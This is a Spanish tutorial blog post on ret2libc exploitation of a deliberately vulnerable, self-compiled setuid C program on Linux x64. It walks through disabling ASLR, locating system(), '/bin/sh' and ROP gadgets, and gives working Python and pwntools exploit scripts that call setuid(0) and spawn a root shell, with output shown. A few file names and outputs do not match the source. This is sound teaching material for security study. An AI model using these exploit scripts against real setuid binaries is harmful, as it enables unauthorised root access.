Taller de exploiting: ret2libc en Linux x64

Seguimos con exploiting en Linux, con el mismo código en la entrada anterior pero esta vez activando el bit NX (no-execute), es decir, la protección que nos marcará el stack como no ejecutable:
#include <stdio.h>
#include <unistd.h>

int vuln() {
    char buf[80];
    int r;
    r = read(0, buf, 400);
    printf("\nHas pasado %d bytes. buf es %s\n", r, buf);
    puts("No shell!");
    return 0;
}

int main(int argc, char *argv[]) {
    vuln();
    return 0;
}
Para ello compilamos el código esta vez sin '-z execstack':
$ gcc -fno-stack-protector ejercicio2x64.c -o ejercicio2x64
No nos olvidamos de desactivar ASLR (de momento) para realizar el ejercicio:
$ sudo sysctl -w kernel.randomize_va_space=0
Y cambiarle los permisos necesarios también:
$ sudo chown root ret2libc
$ sudo chmod 4755 ret2libc
Comprobamos las protecciones del programa compilado:
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

Ya tenemos el binario para trabajar con él, pero recordar que ya no podremos apuntar la dirección de retorno a nuestro shellcode directamente en la pila, por lo que tendremos que utilizar la técnica return to libc o ret2libc. 

¿Qué es ret2libc? 

Cada vez que escribimos un programa en C utilizamos funciones como printf, scanf, put, etc. y todas esas funciones estándar de C se han compilado en un solo archivo que es la librería estándar de C o libc, el cual es independiente del binario (programa compilado). 

Ret2libc es una técnica que se basa en ejecutar código que no se encuentra en la pila sino en un sector de la memoria de libc, que es ejecutable. Es decir, el código utilizado para vulnerar el programa son funciones dentro de esta librería. 

Resumiendo: podemos modificar la dirección de retorno para que apunte a libc, que cuenta con funciones muy útiles como system() para, por ejemplo, obtener una shell. 

El resumen del payload más común sería el siguiente: 

Junk + RET + POP RDI + shell + System Address 

Si estuvieramos en un sistema con una arquitectura de 32 bits tendríamos que crear un stack frame falso para que la función llame a una función en libc y le pase los parámetros que necesite. Normalmente regresar a system() y ejecutar "/bin/sh". 

Sin embargo con los binarios de 64 bits es mucho más sencillo: los parámetros de la función se pasan en registros, por lo que no es necesario un stack frame fake. 

Los primeros seis parámetros se pasan en los registros RDI, RSI, RDX, RCX, R8 y R9. Cualquier cosa más allá de eso se pasa a la pila. Esto significa que antes de volver a la función que elegimos en libc, debemos asegurarnos de que los registros estén configurados correctamente con los parámetros que espera la función. Esto a su vez nos lleva a tener que usar un poco de ROP. 

Exploit

Comenzaremos a esbozar nuestro exploit, para ello necesitamos algunas cosas: 

  • La dirección de system(). ASLR está deshabilitado, por lo que no tenemos que preocuparnos por el cambio de dirección. 
  • Un puntero a "/bin/sh". 
  • Dado que el primer parámetro de función debe estar en RDI, necesitamos un gadget ROP que copie el puntero a "/bin/sh" en RDI. 

Vamos a empezar encontrando la dirección de system(), esto se puede hacer fácilmente desde gdb:

gdb-peda$ p system
$1 = {} 0x7fc7a9f0c3a0 <__libc_system>
Y lo mismo para /bin/sh:
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 3 results, display max 3 items:
ejercicio2x64 : 0x4006ef --> 0x68732f6e69622f ('/bin/sh')
ejercicio2x64 : 0x6006ef --> 0x68732f6e69622f ('/bin/sh')
    libc : 0x7fc7aa053e17 --> 0x68732f6e69622f ('/bin/sh')
Ahora necesitamos el gadget que copie 0x4006ef a RDI. Para ello usaremos ropper para encontrar las instrucciones que necesitamos:
$ ropper --file ejercicio2x64 --search "% ?di"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: % ?di

[INFO] File: ejercicio2x64
0x0000000000400508: add byte ptr [rax], al; test rax, rax; je 0x520; pop rbp; mov edi, 0x601048; jmp rax; 
0x0000000000400556: add byte ptr [rax], al; test rax, rax; je 0x568; pop rbp; mov edi, 0x601048; jmp rax; 
0x00000000004005ea: call 0x480; mov edi, 0x4006cf; call 0x470; mov eax, 0; leave; ret; 
0x000000000040050d: je 0x520; pop rbp; mov edi, 0x601048; jmp rax; 
0x000000000040055b: je 0x568; pop rbp; mov edi, 0x601048; jmp rax; 
0x00000000004005ef: mov edi, 0x4006cf; call 0x470; mov eax, 0; leave; ret; 
0x0000000000400510: mov edi, 0x601048; jmp rax; 
0x000000000040050f: pop rbp; mov edi, 0x601048; jmp rax; 
0x0000000000400693: pop rdi; ret; 
0x000000000040050b: test eax, eax; je 0x520; pop rbp; mov edi, 0x601048; jmp rax; 
0x0000000000400559: test eax, eax; je 0x568; pop rbp; mov edi, 0x601048; jmp rax; 
0x000000000040050a: test rax, rax; je 0x520; pop rbp; mov edi, 0x601048; jmp rax; 
0x0000000000400558: test rax, rax; je 0x568; pop rbp; mov edi, 0x601048; jmp rax; 
El gadget en 0x400693 que saca un valor de la pila a RDI es perfecto. Ahora tenemos todo lo que necesitamos para construir nuestro exploit:
#!/usr/bin/env python

from struct import *

buf = ""
buf += "A"*104                              # junk
buf += pack("<Q", 0x400693)       # pop rdi; ret;
buf += pack("<Q", 0x4006ef)           # pointer to "/bin/sh" gets popped into rdi
buf += pack("<Q", 0x7fc7a9f0c3a0)           # address of system()

f = open("in.txt", "w")
f.write(buf)
Volcamos el payload al fichero in.txt por lo que ya sólo nos queda comprobar si funciona:
$ (cat in.txt ; cat) | ./ejercicio2x64
Try to exec /bin/sh
Read 128 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
No shell for you :(
id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

Como veis hemos sido capaces de obtener shell, aunque todavía como luser aún habiendo lanzado el programa sin debugger y teniendo el suid seteado en el binario... ¿por qué? 

Pues porque bash o dash en Ubuntu, a dónde apunta /bin/sh, compara el UID real con el efectivo (EUID) y al no coincidir dropea el suid impidiéndonos escalar como root, es una *molesta* medida de protección. 

Para solucionarlo tendremos dos opciones: pasarle el parámetro -p o llamar justo antes a la función setuid con el parámetro 0. 

Vamos a hacer ésto último pero usando pwntools que nos facilitará enormemente la vida. Podremos obtener automáticamente las direcciones de las funciones a partir de la base de libc y, como tenemos acceso a la máquina y sin ASLR, esa base la conseguiremos fácilmente. Para ello podemos utilizar ldd:

$ ldd ./ejercicio2x64
	linux-vdso.so.1 =>  (0x00007ffd9fa8e000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f77290d9000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f77294a3000)
A partir de esa dirección base ya podemos encontrar la dirección de cualquier función, por ejemplo printf:
$ objdump -TC /lib/x86_64-linux-gnu/libc.so.6 | grep " printf$"
0000000000055810 g    DF .text	00000000000000a1  GLIBC_2.2.5 printf

La dirección de esa función en concreto sería: 

0x55810+0x7f77290d9000 = 0x7F772912E810 

Ya tenemos todos los ingredientes. Nuestro script final es el siguiente:

#!/usr/bin/python3

from pwn import *
from struct import pack

p = gdb.debug('./ejercicio2x64', ''' 
	b *main	
	c 
	''')

p = process('./ejercicio2x64')
elf = ELF("./ejercicio2x64")
context.binary = elf
libc = ELF("./libc.so.6")
libc.address = 0x00007ffff7a0d000
rop = ROP(elf)

def suid(p,elf,libc,rop):
	SUID = libc.sym['setuid']
	log.info("suid: " + hex(SUID))
	MAIN = elf.symbols['main']
	log.info("main function: " + hex(MAIN))
	POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
	log.info("POP_RDI: " + hex(POP_RDI))

	payload = "A" * 104
	payload += p64(POP_RDI)
	payload += p64(0)
	payload += p64(SUID)
	payload += p64(MAIN)

	p.sendline(payload)

def shell(p,elf,libc,rop):
	RET = rop.find_gadget(['ret'])[0]
	log.info("RET: " + hex(RET))
	POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0]
	log.info("POP_RDI: " + hex(POP_RDI))
	BIN_SH = next(libc.search("/bin/sh"))
	log.success("/bin/sh: " + hex(BIN_SH))
	SYSTEM = libc.sym["system"]
	log.success("system: " + hex(SYSTEM))

	payload = "A" * 104
	payload += p64(RET)
	payload += p64(POP_RDI)
	payload += p64(BIN_SH)
	payload += p64(SYSTEM)

	p.sendline(payload)
	p.interactive()

suid(p,elf,libc,rop)
shell(p,elf,libc,rop)
Y, por fin, podemos obtener una shell como root aprovechando ret2libc:
$ python exploit.py 
[+] Starting local process '/usr/bin/gdbserver': pid 3748
[*] running in new terminal: /usr/bin/gdb -q  "./ret2libc" -x /tmp/pwnlKAcjc.gdb
[+] Starting local process './ejercicio2x64': pid 3765
[*] '/home/ubuntu/Desktop/exploiting/ex2/ejercicio2x64'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/ubuntu/Desktop/exploiting/ex2/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 14 cached gadgets for './ejercicio2x64'
[*] suid: 0x7ffff7ada330
[*] main function: 0x400600
[*] POP_RDI: 0x400693
[*] RET: 0x400451
[*] POP_RDI: 0x400693
[+] /bin/sh: 0x7ffff7b99e17
[+] system: 0x7ffff7a523a0
[*] Switching to interactive mode
Try to exec /bin/sh
Read 137 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x89
No shell for you :(
Try to exec /bin/sh
Read 137 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x89
No shell for you :(
$ id
uid=0(root) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

Referencias: 

Comentarios